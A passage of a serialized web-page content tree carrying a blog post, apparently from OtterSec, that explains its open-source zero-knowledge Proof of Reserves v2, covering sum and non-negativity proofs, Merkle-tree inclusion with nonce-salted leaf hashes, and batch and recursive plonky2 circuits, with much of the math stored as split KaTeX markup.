improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":24,"props":92270,"children":92271},{},[92272,92274,92281],{"type":28,"value":92273},"In addition, we also created and open-sourced a ",{"type":23,"tag":458,"props":92275,"children":92278},{"href":92276,"rel":92277},"https://github.com/otter-sec/por_verifier_server",[462],[92279],{"type":28,"value":92280},"PoR verifier server",{"type":28,"value":92282}," that receives the proofs and validates them.",{"type":23,"tag":446,"props":92284,"children":92286},{"id":92285},"why-do-we-use-zk-for-por",[92287],{"type":28,"value":92288},"Why do we use ZK for PoR?",{"type":23,"tag":24,"props":92290,"children":92291},{},[92292,92294,92299],{"type":28,"value":92293},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":510,"props":92295,"children":92296},{},[92297],{"type":28,"value":92298},"Zero-Knowledge Proofs (ZKPs)",{"type":28,"value":92300}," become game-changers.",{"type":23,"tag":24,"props":92302,"children":92303},{},[92304],{"type":28,"value":92305},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":24,"props":92307,"children":92308},{},[92309],{"type":28,"value":92310},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":5436,"props":92312,"children":92313},{},[92314,92331],{"type":23,"tag":421,"props":92315,"children":92316},{},[92317,92322,92324,92330],{"type":23,"tag":510,"props":92318,"children":92319},{},[92320],{"type":28,"value":92321},"Sum proof",{"type":28,"value":92323},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":37,"props":92325,"children":92327},{"className":92326},[],[92328],{"type":28,"value":92329},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":28,"value":20729},{"type":23,"tag":421,"props":92332,"children":92333},{},[92334,92339,92341,92346],{"type":23,"tag":510,"props":92335,"children":92336},{},[92337],{"type":28,"value":92338},"Non-negativity",{"type":28,"value":92340},": All users have a ",{"type":23,"tag":510,"props":92342,"children":92343},{},[92344],{"type":28,"value":92345},"positive",{"type":28,"value":92347}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":24,"props":92349,"children":92350},{},[92351],{"type":28,"value":92352},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":446,"props":92354,"children":92356},{"id":92355},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[92357],{"type":28,"value":92358},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":24,"props":92360,"children":92361},{},[92362],{"type":28,"value":92363},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":24,"props":92365,"children":92366},{},[92367],{"type":23,"tag":3918,"props":92368,"children":92370},{"alt":50573,"src":92369},"/posts/por/merkle-tree.png",[],{"type":23,"tag":24,"props":92372,"children":92373},{},[92374],{"type":28,"value":92375},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":5436,"props":92377,"children":92378},{},[92379,92392,92397],{"type":23,"tag":421,"props":92380,"children":92381},{},[92382,92384,92390],{"type":28,"value":92383},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":37,"props":92385,"children":92387},{"className":92386},[],[92388],{"type":28,"value":92389},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":28,"value":92391},");",{"type":23,"tag":421,"props":92393,"children":92394},{},[92395],{"type":28,"value":92396},"The Merkle tree is made public;",{"type":23,"tag":421,"props":92398,"children":92399},{},[92400],{"type":28,"value":92401},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":24,"props":92403,"children":92404},{},[92405],{"type":28,"value":92406},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":446,"props":92408,"children":92410},{"id":92409},"ottersec-porv2",[92411],{"type":28,"value":92412},"OtterSec PoRv2",{"type":23,"tag":24,"props":92414,"children":92415},{},[92416,92422,92424,92431],{"type":23,"tag":458,"props":92417,"children":92419},{"href":92253,"rel":92418},[462],[92420],{"type":28,"value":92421},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":28,"value":92423},", which uses the ",{"type":23,"tag":458,"props":92425,"children":92428},{"href":92426,"rel":92427},"https://github.com/0xPolygonZero/plonky2",[462],[92429],{"type":28,"value":92430},"plonky2 ZK algorithm",{"type":28,"value":92432}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":24,"props":92434,"children":92435},{},[92436,92438,92445],{"type":28,"value":92437},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":458,"props":92439,"children":92442},{"href":92440,"rel":92441},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[462],[92443],{"type":28,"value":92444},"Vitalik's proof of solvency",{"type":28,"value":92446},", which was not optimal.",{"type":23,"tag":24,"props":92448,"children":92449},{},[92450],{"type":23,"tag":510,"props":92451,"children":92452},{},[92453],{"type":28,"value":92454},"Non-negativity Proof",{"type":23,"tag":24,"props":92456,"children":92457},{},[92458],{"type":28,"value":92459},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":24,"props":92461,"children":92462},{},[92463],{"type":28,"value":92464},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":24,"props":92466,"children":92467},{},[92468],{"type":23,"tag":510,"props":92469,"children":92470},{},[92471],{"type":28,"value":92472},"Sum Proof",{"type":23,"tag":24,"props":92474,"children":92475},{},[92476,92478,92484],{"type":28,"value":92477},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":37,"props":92479,"children":92481},{"className":92480},[],[92482],{"type":28,"value":92483},"BTC final: user1_btc + user2_btc ...",{"type":28,"value":92485},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":546,"props":92487,"children":92489},{"id":92488},"what-are-the-ottersec-porv2-key-points",[92490],{"type":28,"value":92491},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":5436,"props":92493,"children":92494},{},[92495,92505,92523,92533,92564],{"type":23,"tag":421,"props":92496,"children":92497},{},[92498,92503],{"type":23,"tag":510,"props":92499,"children":92500},{},[92501],{"type":28,"value":92502},"Transparency",{"type":28,"value":92504},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":421,"props":92506,"children":92507},{},[92508,92513,92515,92522],{"type":23,"tag":510,"props":92509,"children":92510},{},[92511],{"type":28,"value":92512},"Time-efficiency",{"type":28,"value":92514},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":458,"props":92516,"children":92519},{"href":92517,"rel":92518},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[462],[92520],{"type":28,"value":92521},"Check our benchmark",{"type":28,"value":706},{"type":23,"tag":421,"props":92524,"children":92525},{},[92526,92531],{"type":23,"tag":510,"props":92527,"children":92528},{},[92529],{"type":28,"value":92530},"Memory-efficiency",{"type":28,"value":92532},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":421,"props":92534,"children":92535},{},[92536,92541,92543,92548,92550,92555,92557,92562],{"type":23,"tag":510,"props":92537,"children":92538},{},[92539],{"type":28,"value":92540},"Small-proofs",{"type":28,"value":92542},": We were able to reduce the final proof to less than ",{"type":23,"tag":510,"props":92544,"children":92545},{},[92546],{"type":28,"value":92547},"500KB",{"type":28,"value":92549}," and each inclusion proof to ",{"type":23,"tag":510,"props":92551,"children":92552},{},[92553],{"type":28,"value":92554},"~52KB",{"type":28,"value":92556},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":510,"props":92558,"children":92559},{},[92560],{"type":28,"value":92561},"200MB",{"type":28,"value":92563}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":421,"props":92565,"children":92566},{},[92567,92572],{"type":23,"tag":510,"props":92568,"children":92569},{},[92570],{"type":28,"value":92571},"Privacy",{"type":28,"value":92573},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":446,"props":92575,"children":92577},{"id":92576},"zk-circuits",[92578],{"type":28,"value":92579},"ZK Circuits",{"type":23,"tag":24,"props":92581,"children":92582},{},[92583],{"type":28,"value":92584},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":5436,"props":92586,"children":92587},{},[92588,92593],{"type":23,"tag":421,"props":92589,"children":92590},{},[92591],{"type":28,"value":92592},"Batch circuit",{"type":23,"tag":421,"props":92594,"children":92595},{},[92596],{"type":28,"value":92597},"Recursive circuit",{"type":23,"tag":24,"props":92599,"children":92600},{},[92601],{"type":28,"value":92602},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":24,"props":92604,"children":92605},{},[92606],{"type":23,"tag":3918,"props":92607,"children":92609},{"alt":50573,"src":92608},"/posts/por/batch-circuit.png",[],{"type":23,"tag":518,"props":92611,"children":92612},{},[92613],{"type":23,"tag":24,"props":92614,"children":92615},{},[92616,92618,92624,92626,92632],{"type":28,"value":92617},"Note: We are using 512 as ",{"type":23,"tag":37,"props":92619,"children":92621},{"className":92620},[],[92622],{"type":28,"value":92623},"BATCH_SIZE",{"type":28,"value":92625}," and 8 as ",{"type":23,"tag":37,"props":92627,"children":92629},{"className":92628},[],[92630],{"type":28,"value":92631},"RECURSIVE_SIZE",{"type":28,"value":92633}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":518,"props":92635,"children":92636},{},[92637],{"type":23,"tag":24,"props":92638,"children":92639},{},[92640],{"type":28,"value":92641},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":24,"props":92643,"children":92644},{},[92645],{"type":28,"value":92646},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":546,"props":92648,"children":92650},{"id":92649},"leaf-nodes",[92651],{"type":28,"value":92652},"Leaf Nodes",{"type":23,"tag":24,"props":92654,"children":92655},{},[92656],{"type":28,"value":92657},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":23,"tag":24,"props":92659,"children":92660},{},[92661],{"type":23,"tag":37,"props":92662,"children":92664},{"className":92663},[3984,3985],[92665],{"type":23,"tag":41,"props":92666,"children":92668},{"className":92667},[3990],[92669],{"type":23,"tag":41,"props":92670,"children":92672},{"className":92671,"ariaHidden":3996},[3995],[92673,92700],{"type":23,"tag":41,"props":92674,"children":92676},{"className":92675},[4001],[92677,92682,92687,92691,92696],{"type":23,"tag":41,"props":92678,"children":92681},{"className":92679,"style":92680},[4006],"height:0.6944em;",[],{"type":23,"tag":41,"props":92683,"children":92685},{"className":92684},[4012,21574],[92686],{"type":28,"value":84339},{"type":23,"tag":41,"props":92688,"children":92690},{"className":92689,"style":4190},[4092],[],{"type":23,"tag":41,"props":92692,"children":92694},{"className":92693},[4195],[92695],{"type":28,"value":2381},{"type":23,"tag":41,"props":92697,"children":92699},{"className":92698,"style":4190},[4092],[],{"type":23,"tag":41,"props":92701,"children":92703},{"className":92702},[4001],[92704,92709,92714,92720,92725,92730,92736,92741,92746,92751,92757,92762,92768,92774,92781,92787,92793,92853,92858,92864,92869,92874,92879,92884,92889,92894,92899,92904,92909,92966,92971,92976,92981,92986,92991,92996,93003,93008,93014,93019,93025,93031,93036,93041,93046,93051,93056,93061,93066,93071,93076,93081,93086,93091,93096,93101],{"type":23,"tag":41,"props":92705,"children":92708},{"className":92706,"style":92707},[4006],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":41,"props":92710,"children":92712},{"className":92711,"style":21575},[4012,21574],[92713],{"type":28,"value":21578},{"type":23,"tag":41,"props":92715,"children":92717},{"className":92716},[4012,21574],[92718],{"type":28,"value":92719},"ose",{"type":23,"tag":41,"props":92721,"children":92723},{"className":92722},[4012,21574],[92724],{"type":28,"value":3737},{"type":23,"tag":41,"props":92726,"children":92728},{"className":92727},[4012,21574],[92729],{"type":28,"value":70559},{"type":23,"tag":41,"props":92731,"children":92733},{"className":92732},[4012,21574],[92734],{"type":28,"value":92735},"o",{"type":23,"tag":41,"props":92737,"children":92739},{"className":92738},[4012,21574],[92740],{"type":28,"value":56399},{"type":23,"tag":41,"props":92742,"children":92744},{"className":92743},[21703],[92745],{"type":28,"value":1737},{"type":23,"tag":41,"props":92747,"children":92749},{"className":92748},[4012,21574],[92750],{"type":28,"value":458},{"type":23,"tag":41,"props":92752,"children":92754},{"className":92753},[4012,21574],[92755],{"type":28,"value":92756},"sse",{"type":23,"tag":41,"props":92758,"children":92760},{"className":92759},[4012,21574],[92761],{"type":28,"value":21716},{"type":23,"tag":41,"props":92763,"children":92766},{"className":92764,"style":92765},[4012],"margin-right:0.02778em;",[92767],{"type":28,"value":3084},{"type":23,"tag":41,"props":92769,"children":92771},{"className":92770},[4012,21574],[92772],{"type":28,"value":92773},"ba",{"type":23,"tag":41,"props":92775,"children":92778},{"className":92776,"style":92777},[4012,21574],"margin-right:0.01968em;",[92779],{"type":28,"value":92780},"l",{"type":23,"tag":41,"props":92782,"children":92784},{"className":92783},[4012,21574],[92785],{"type":28,"value":92786},"an",{"type":23,"tag":41,"props":92788,"children":92790},{"className":92789},[4012,21574],[92791],{"type":28,"value":92792},"ce",{"type":23,"tag":41,"props":92794,"children":92796},{"className":92795},[4012],[92797,92802],{"type":23,"tag":41,"props":92798,"children":92800},{"className":92799},[4012,21574],[92801],{"type":28,"value":10649},{"type":23,"tag":41,"props":92803,"children":92805},{"className":92804},[4028],[92806],{"type":23,"tag":41,"props":92807,"children":92809},{"className":92808},[4033,21628],[92810,92841],{"type":23,"tag":41,"props":92811,"children":92813},{"className":92812},[4038],[92814,92836],{"type":23,"tag":41,"props":92815,"children":92818},{"className":92816,"style":92817},[4043],"height:0.3011em;",[92819],{"type":23,"tag":41,"props":92820,"children":92822},{"style":92821},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[92823,92827],{"type":23,"tag":41,"props":92824,"children":92826},{"className":92825,"style":4053},[4052],[],{"type":23,"tag":41,"props":92828,"children":92830},{"className":92829},[4058,4059,4060,4061],[92831],{"type":23,"tag":41,"props":92832,"children":92834},{"className":92833},[4012,4061],[92835],{"type":28,"value":4024},{"type":23,"tag":41,"props":92837,"children":92839},{"className":92838},[21731],[92840],{"type":28,"value":21734},{"type":23,"tag":41,"props":92842,"children":92844},{"className":92843},[4038],[92845],{"type":23,"tag":41,"props":92846,"children":92849},{"className":92847,"style":92848},[4043],"height:0.15em;",[92850],{"type":23,"tag":41,"props":92851,"children":92852},{},[],{"type":23,"tag":41,"props":92854,"children":92856},{"className":92855},[4092],[92857],{"type":28,"value":21675},{"type":23,"tag":41,"props":92859,"children":92861},{"className":92860},[4012],[92862],{"type":28,"value":92863},"∣∣",{"type":23,"tag":41,"props":92865,"children":92867},{"className":92866},[4092],[92868],{"type":28,"value":21675},{"type":23,"tag":41,"props":92870,"children":92872},{"className":92871},[4012,21574],[92873],{"type":28,"value":458},{"type":23,"tag":41,"props":92875,"children":92877},{"className":92876},[4012,21574],[92878],{"type":28,"value":92756},{"type":23,"tag":41,"props":92880,"children":92882},{"className":92881},[4012,21574],[92883],{"type":28,"value":21716},{"type":23,"tag":41,"props":92885,"children":92887},{"className":92886,"style":92765},[4012],[92888],{"type":28,"value":3084},{"type":23,"tag":41,"props":92890,"children":92892},{"className":92891},[4012,21574],[92893],{"type":28,"value":92773},{"type":23,"tag":41,"props":92895,"children":92897},{"className":92896,"style":92777},[4012,21574],[92898],{"type":28,"value":92780},{"type":23,"tag":41,"props":92900,"children":92902},{"className":92901},[4012,21574],[92903],{"type":28,"value":92786},{"type":23,"tag":41,"props":92905,"children":92907},{"className":92906},[4012,21574],[92908],{"type":28,"value":92792},{"type":23,"tag":41,"props":92910,"children":92912},{"className":92911},[4012],[92913,92918],{"type":23,"tag":41,"props":92914,"children":92916},{"className":92915},[4012,21574],[92917],{"type":28,"value":10649},{"type":23,"tag":41,"props":92919,"children":92921},{"className":92920},[4028],[92922],{"type":23,"tag":41,"props":92923,"children":92925},{"className":92924},[4033,21628],[92926,92955],{"type":23,"tag":41,"props":92927,"children":92929},{"className":92928},[4038],[92930,92950],{"type":23,"tag":41,"props":92931,"children":92933},{"className":92932,"style":92817},[4043],[92934],{"type":23,"tag":41,"props":92935,"children":92936},{"style":92821},[92937,92941],{"type":23,"tag":41,"props":92938,"children":92940},{"className":92939,"style":4053},[4052],[],{"type":23,"tag":41,"props":92942,"children":92944},{"className":92943},[4058,4059,4060,4061],[92945],{"type":23,"tag":41,"props":92946,"children":92948},{"className":92947},[4012,4061],[92949],{"type":28,"value":317},{"type":23,"tag":41,"props":92951,"children":92953},{"className":92952},[21731],[92954],{"type":28,"value":21734},{"type":23,"tag":41,"props":92956,"children":92958},{"className":92957},[4038],[92959],{"type":23,"tag":41,"props":92960,"children":92962},{"className":92961,"style":92848},[4043],[92963],{"type":23,"tag":41,"props":92964,"children":92965},{},[],{"type":23,"tag":41,"props":92967,"children":92969},{"className":92968},[4092],[92970],{"type":28,"value":21675},{"type":23,"tag":41,"props":92972,"children":92974},{"className":92973},[4012],[92975],{"type":28,"value":9589},{"type":23,"tag":41,"props":92977,"children":92979},{"className":92978},[4092],[92980],{"type":28,"value":21675},{"type":23,"tag":41,"props":92982,"children":92984},{"className":92983},[4012],[92985],{"type":28,"value":92863},{"type":23,"tag":41,"props":92987,"children":92989},{"className":92988},[4092],[92990],{"type":28,"value":21675},{"type":23,"tag":41,"props":92992,"children":92994},{"className":92993,"style":22033},[4012,21574],[92995],{"type":28,"value":22036},{"type":23,"tag":41,"props":92997,"children":93000},{"className":92998,"style":92999},[4012,21574],"margin-right:0.08125em;",[93001],{"type":28,"value":93002},"H",{"type":23,"tag":41,"props":93004,"children":93006},{"className":93005},[4012,21574],[93007],{"type":28,"value":76762},{"type":23,"tag":41,"props":93009,"children":93011},{"className":93010},[4012],[93012],{"type":28,"value":93013},"256",{"type":23,"tag":41,"props":93015,"children":93017},{"className":93016},[21703],[93018],{"type":28,"value":1737},{"type":23,"tag":41,"props":93020,"children":93022},{"className":93021},[4012,21574],[93023],{"type":28,"value":93024},"u",{"type":23,"tag":41,"props":93026,"children":93028},{"className":93027,"style":92765},[4012,21574],[93029],{"type":28,"value":93030},"ser",{"type":23,"tag":41,"props":93032,"children":93034},{"className":93033,"style":92765},[4012],[93035],{"type":28,"value":3084},{"type":23,"tag":41,"props":93037,"children":93039},{"className":93038},[4012,21574],[93040],{"type":28,"value":3737},{"type":23,"tag":41,"props":93042,"children":93044},{"className":93043},[4012,21574],[93045],{"type":28,"value":70559},{"type":23,"tag":41,"props":93047,"children":93049},{"className":93048},[21725],[93050],{"type":28,"value":2678},{"type":23,"tag":41,"props":93052,"children":93054},{"className":93053},[4092],[93055],{"type":28,"value":21675},{"type":23,"tag":41,"props":93057,"children":93059},{"className":93058},[4012],[93060],{"type":28,"value":92863},{"type":23,"tag":41,"props":93062,"children":93064},{"className":93063},[4092],[93065],{"type":28,"value":21675},{"type":23,"tag":41,"props":93067,"children":93069},{"className":93068},[4012,21574],[93070],{"type":28,"value":93024},{"type":23,"tag":41,"props":93072,"children":93074},{"className":93073,"style":92765},[4012,21574],[93075],{"type":28,"value":93030},{"type":23,"tag":41,"props":93077,"children":93079},{"className":93078,"style":92765},[4012],[93080],{"type":28,"value":3084},{"type":23,"tag":41,"props":93082,"children":93084},{"className":93083},[4012,21574],[93085],{"type":28,"value":56399},{"type":23,"tag":41,"props":93087,"children":93089},{"className":93088},[4012,21574],[93090],{"type":28,"value":92735},{"type":23,"tag":41,"props":93092,"children":93094},{"className":93093},[4012,21574],[93095],{"type":28,"value":56399},{"type":23,"tag":41,"props":93097,"children":93099},{"className":93098},[4012,21574],[93100],{"type":28,"value":92792},{"type":23,"tag":41,"props":93102,"children":93104},{"className":93103},[21725],[93105],{"type":28,"value":2678},{"type":23,"tag":24,"props":93107,"children":93108},{},[93109,93111,93117],{"type":28,"value":93110},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":37,"props":93112,"children":93114},{"className":93113},[],[93115],{"type":28,"value":93116},"uuid",{"type":28,"value":93118},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":546,"props":93120,"children":93122},{"id":93121},"batch-circuit",[93123],{"type":28,"value":93124},"Batch Circuit",{"type":23,"tag":24,"props":93126,"children":93127},{},[93128],{"type":28,"value":93129},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":24,"props":93131,"children":93132},{},[93133],{"type":23,"tag":510,"props":93134,"children":93135},{},[93136],{"type":28,"value":93137},"Public Inputs",{"type":23,"tag":417,"props":93139,"children":93140},{},[93141,93146,93151],{"type":23,"tag":421,"props":93142,"children":93143},{},[93144],{"type":28,"value":93145},"Asset prices in USD",{"type":23,"tag":421,"props":93147,"children":93148},{},[93149],{"type":28,"value":93150},"Merkle tree hash",{"type":23,"tag":421,"props":93152,"children":93153},{},[93154],{"type":28,"value":93155},"Summed asset balances",{"type":23,"tag":24,"props":93157,"children":93158},{},[93159],{"type":23,"tag":510,"props":93160,"children":93161},{},[93162],{"type":28,"value":93163},"Private Inputs",{"type":23,"tag":417,"props":93165,"children":93166},{},[93167,93172],{"type":23,"tag":421,"props":93168,"children":93169},{},[93170],{"type":28,"value":93171},"Users balances",{"type":23,"tag":421,"props":93173,"children":93174},{},[93175],{"type":28,"value":93176},"Merkle tree leaves hashes",{"type":23,"tag":24,"props":93178,"children":93179},{},[93180],{"type":23,"tag":510,"props":93181,"children":93182},{},[93183],{"type":28,"value":93184},"Constraints",{"type":23,"tag":417,"props":93186,"children":93187},{},[93188,93641,93809,94156,94554],{"type":23,"tag":421,"props":93189,"children":93190},{},[93191],{"type":23,"tag":37,"props":93192,"children":93194},{"className":93193},[3984,3985],[93195],{"type":23,"tag":41,"props":93196,"children":93198},{"className":93197},[3990],[93199],{"type":23,"tag":41,"props":93200,"children":93202},{"className":93201,"ariaHidden":3996},[3995],[93203,93342,93546],{"type":23,"tag":41,"props":93204,"children":93206},{"className":93205},[4001],[93207,93212,93217,93223,93228,93233,93238,93243,93248,93255,93260,93265,93270,93329,93333,93338],{"type":23,"tag":41,"props":93208,"children":93211},{"className":93209,"style":93210},[4006],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":41,"props":93213,"children":93215},{"className":93214},[4012,21574],[93216],{"type":28,"value":458},{"type":23,"tag":41,"props":93218,"children":93220},{"className":93219},[4012,21574],[93221],{"type":28,"value":93222},"cco",{"type":23,"tag":41,"props":93224,"children":93226},{"className":93225},[4012,21574],[93227],{"type":28,"value":93024},{"type":23,"tag":41,"props":93229,"children":93231},{"className":93230},[4012,21574],[93232],{"type":28,"value":56399},{"type":23,"tag":41,"props":93234,"children":93236},{"className":93235},[4012,21574],[93237],{"type":28,"value":21716},{"type":23,"tag":41,"props":93239,"children":93241},{"className":93240,"style":92765},[4012],[93242],{"type":28,"value":3084},{"type":23,"tag":41,"props":93244,"children":93246},{"className":93245},[4012,21574],[93247],{"type":28,"value":51449},{"type":23,"tag":41,"props":93249,"children":93252},{"className":93250,"style":93251},[4012,21574],"margin-right:0.03588em;",[93253],{"type":28,"value":93254},"q",{"type":23,"tag":41,"props":93256,"children":93258},{"className":93257},[4012,21574],[93259],{"type":28,"value":93024},{"type":23,"tag":41,"props":93261,"children":93263},{"className":93262},[4012,21574],[93264],{"type":28,"value":3737},{"type":23,"tag":41,"props":93266,"children":93268},{"className":93267},[4012,21574],[93269],{"type":28,"value":21716},{"type":23,"tag":41,"props":93271,"children":93273},{"className":93272},[4012],[93274,93279],{"type":23,"tag":41,"props":93275,"children":93277},{"className":93276,"style":93251},[4012,21574],[93278],{"type":28,"value":3114},{"type":23,"tag":41,"props":93280,"children":93282},{"className":93281},[4028],[93283],{"type":23,"tag":41,"props":93284,"children":93286},{"className":93285},[4033,21628],[93287,93318],{"type":23,"tag":41,"props":93288,"children":93290},{"className":93289},[4038],[93291,93313],{"type":23,"tag":41,"props":93292,"children":93295},{"className":93293,"style":93294},[4043],"height:0.3117em;",[93296],{"type":23,"tag":41,"props":93297,"children":93299},{"style":93298},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[93300,93304],{"type":23,"tag":41,"props":93301,"children":93303},{"className":93302,"style":4053},[4052],[],{"type":23,"tag":41,"props":93305,"children":93307},{"className":93306},[4058,4059,4060,4061],[93308],{"type":23,"tag":41,"props":93309,"children":93311},{"className":93310},[4012,21574,4061],[93312],{"type":28,"value":3737},{"type":23,"tag":41,"props":93314,"children":93316},{"className":93315},[21731],[93317],{"type":28,"value":21734},{"type":23,"tag":41,"props":93319,"children":93321},{"className":93320},[4038],[93322],{"type":23,"tag":41,"props":93323,"children":93325},{"className":93324,"style":92848},[4043],[93326],{"type":23,"tag":41,"props":93327,"children":93328},{},[],{"type":23,"tag":41,"props":93330,"children":93332},{"className":93331,"style":4190},[4092],[],{"type":23,"tag":41,"props":93334,"children":93336},{"className":93335},[4195],[93337],{"type":28,"value":387},{"type":23,"tag":41,"props":93339,"children":93341},{"className":93340,"style":4190},[4092],[],{"type":23,"tag":41,"props":93343,"children":93345},{"className":93344},[4001],[93346,93350,93356,93361,93366,93371,93376,93381,93386,93391,93396,93401,93406,93411,93416,93421,93426,93431,93488,93493,93498,93503,93508,93513,93518,93523,93528,93533,93537,93542],{"type":23,"tag":41,"props":93347,"children":93349},{"className":93348,"style":92707},[4006],[],{"type":23,"tag":41,"props":93351,"children":93353},{"className":93352},[4012],[93354],{"type":28,"value":93355},"Σ",{"type":23,"tag":41,"props":93357,"children":93359},{"className":93358},[4092],[93360],{"type":28,"value":21675},{"type":23,"tag":41,"props":93362,"children":93364},{"className":93363},[4012,21574],[93365],{"type":28,"value":458},{"type":23,"tag":41,"props":93367,"children":93369},{"className":93368},[4012,21574],[93370],{"type":28,"value":93222},{"type":23,"tag":41,"props":93372,"children":93374},{"className":93373},[4012,21574],[93375],{"type":28,"value":93024},{"type":23,"tag":41,"props":93377,"children":93379},{"className":93378},[4012,21574],[93380],{"type":28,"value":56399},{"type":23,"tag":41,"props":93382,"children":93384},{"className":93383},[4012,21574],[93385],{"type":28,"value":21716},{"type":23,"tag":41,"props":93387,"children":93389},{"className":93388,"style":92765},[4012],[93390],{"type":28,"value":3084},{"type":23,"tag":41,"props":93392,"children":93394},{"className":93393},[4012,21574],[93395],{"type":28,"value":458},{"type":23,"tag":41,"props":93397,"children":93399},{"className":93398},[4012,21574],[93400],{"type":28,"value":92756},{"type":23,"tag":41,"props":93402,"children":93404},{"className":93403},[4012,21574],[93405],{"type":28,"value":21716},{"type":23,"tag":41,"props":93407,"children":93409},{"className":93408,"style":92765},[4012],[93410],{"type":28,"value":3084},{"type":23,"tag":41,"props":93412,"children":93414},{"className":93413},[4012,21574],[93415],{"type":28,"value":92773},{"type":23,"tag":41,"props":93417,"children":93419},{"className":93418,"style":92777},[4012,21574],[93420],{"type":28,"value":92780},{"type":23,"tag":41,"props":93422,"children":93424},{"className":93423},[4012,21574],[93425],{"type":28,"value":92786},{"type":23,"tag":41,"props":93427,"children":93429},{"className":93428},[4012,21574],[93430],{"type":28,"value":92792},{"type":23,"tag":41,"props":93432,"children":93434},{"className":93433},[4012],[93435,93440],{"type":23,"tag":41,"props":93436,"children":93438},{"className":93437},[4012,21574],[93439],{"type":28,"value":10649},{"type":23,"tag":41,"props":93441,"children":93443},{"className":93442},[4028],[93444],{"type":23,"tag":41,"props":93445,"children":93447},{"className":93446},[4033,21628],[93448,93477],{"type":23,"tag":41,"props":93449,"children":93451},{"className":93450},[4038],[93452,93472],{"type":23,"tag":41,"props":93453,"children":93455},{"className":93454,"style":93294},[4043],[93456],{"type":23,"tag":41,"props":93457,"children":93458},{"style":92821},[93459,93463],{"type":23,"tag":41,"props":93460,"children":93462},{"className":93461,"style":4053},[4052],[],{"type":23,"tag":41,"props":93464,"children":93466},{"className":93465},[4058,4059,4060,4061],[93467],{"type":23,"tag":41,"props":93468,"children":93470},{"className":93469},[4012,21574,4061],[93471],{"type":28,"value":3737},{"type":23,"tag":41,"props":93473,"children":93475},{"className":93474},[21731],[93476],{"type":28,"value":21734},{"type":23,"tag":41,"props":93478,"children":93480},{"className":93479},[4038],[93481],{"type":23,"tag":41,"props":93482,"children":93484},{"className":93483,"style":92848},[4043],[93485],{"type":23,"tag":41,"props":93486,"children":93487